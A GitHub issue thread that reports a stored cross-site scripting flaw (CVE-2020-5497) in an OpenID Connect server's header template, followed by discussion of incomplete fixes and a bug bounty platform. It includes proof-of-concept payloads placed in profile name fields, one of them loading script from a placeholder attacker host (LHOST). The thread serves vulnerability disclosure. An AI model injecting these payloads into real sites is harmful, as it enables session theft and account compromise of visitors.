Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Cross-Site Scripting header.tag #1521

Open
irbishop opened this issue Jan 3, 2020 · 10 comments
Open

Cross-Site Scripting header.tag #1521

irbishop opened this issue Jan 3, 2020 · 10 comments

Comments

@irbishop
Copy link

irbishop commented Jan 3, 2020

header.tag appears to be vulnerable to XSS here:

		// get the info of the current user, if available (null otherwise)
    	function getUserInfo() {
    		return ${userInfoJson};
    	}

userInfoJson is included in the page and is not encoded so malicious elements could be created. If the string </script> appears in userInfoJson, the <script> element will be closed
and a new malicious <script> can be created:

        // get the info of the current user, if available (null otherwise)
    	function getUserInfo() {
    		return {"sub":"12318767","name":"Test</script><script>alert(1)</script> Test","preferred_username":"Test","given_name":"Test</script><script>alert(1)</script>","family_name":"Test","email":"test@test.com","email_verified":true};
    	}

openid_xss2

And the malicious JavaScript is executed:

openid_xss

@irbishop
Copy link
Author

irbishop commented Jan 3, 2020

Turns out the values are displayed other places as well and the closing </script> is not necessary as it will show up like:

	                <!--  use a simplified user button system when collapsed -->
	                <ul class="nav hidden-desktop">
	                    
						<li><a href="manage/#user/profile">Test<script src=//LHOST/openid.js></script> Test</a></li>
						<li class="divider"></li>
						<li><a href="" class="logoutLink"><i class="icon-remove"></i> Log out</a></li>

@NicoleG25
Copy link

Is there any plan to address this vulnerability?
Note that it appears that CVE-2020-5497 was assigned to this issue.

@jricher

@jricher
Copy link
Member

jricher commented Jan 17, 2020

This should be simple to fix in the class UserInfoInterceptor, but a quick search didn't show me how to handle escaping characters in a safe way. Glad to take a pointer or a pull request for this.

@jricher
Copy link
Member

jricher commented Feb 18, 2020

This seems to have been fixed by #1526 , please confirm

@irbishop
Copy link
Author

It doesn't appear to be a proper fix ... userInfoJson is broken and appears as:

json

Which seems to break the profile page that uses that information.

It also doesn't address the instances that appear in topbar.tag:

topbar

A script tag still appears in the longName:

topbar2

@JamieSlome
Copy link

We have looked into both proposed fixes (#1527 & #1526) - it would seem that we both escape the scaffolding of the JSON rather than just the content of the individual elements/properties.

@irbishop If you would like to submit an alternative fix through our platform (https://huntr.dev) - we would love to reward you for this!

@JamieSlome
Copy link

@irbishop - any updates on this?

@jricher - we had an open pull request that was approved (#1526) - but we are encouraging better solutions through the bug bounty board - huntr.

@irbishop
Copy link
Author

@JamieSlome - I submitted my patch #1527 but never heard anything except the invitation to submit through the bug bounty board. After looking at the board I decided against signing up because it required read/write access for pretty much everything related to all public repos, e.g. hooks and deployment keys; seemed overly permissive

@JamieSlome
Copy link

@irbishop - thanks for the swift response & update! ⚡

We request the public scope so that we can fork a repository on behalf of the user - through the bug bounty platform.

Beyond this, we do not store nor use any of the other functionalities in the public scope. Unfortunately, GitHub does not offer a lesser scope that provides only write access (i.e. forking a repo only).

Hope this helps! 👍

@NicoleG25
Copy link

Hi, was this issue already addressed ? please note that it was assigned CVE-2020-5497
@jricher , @JamieSlome

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

4 participants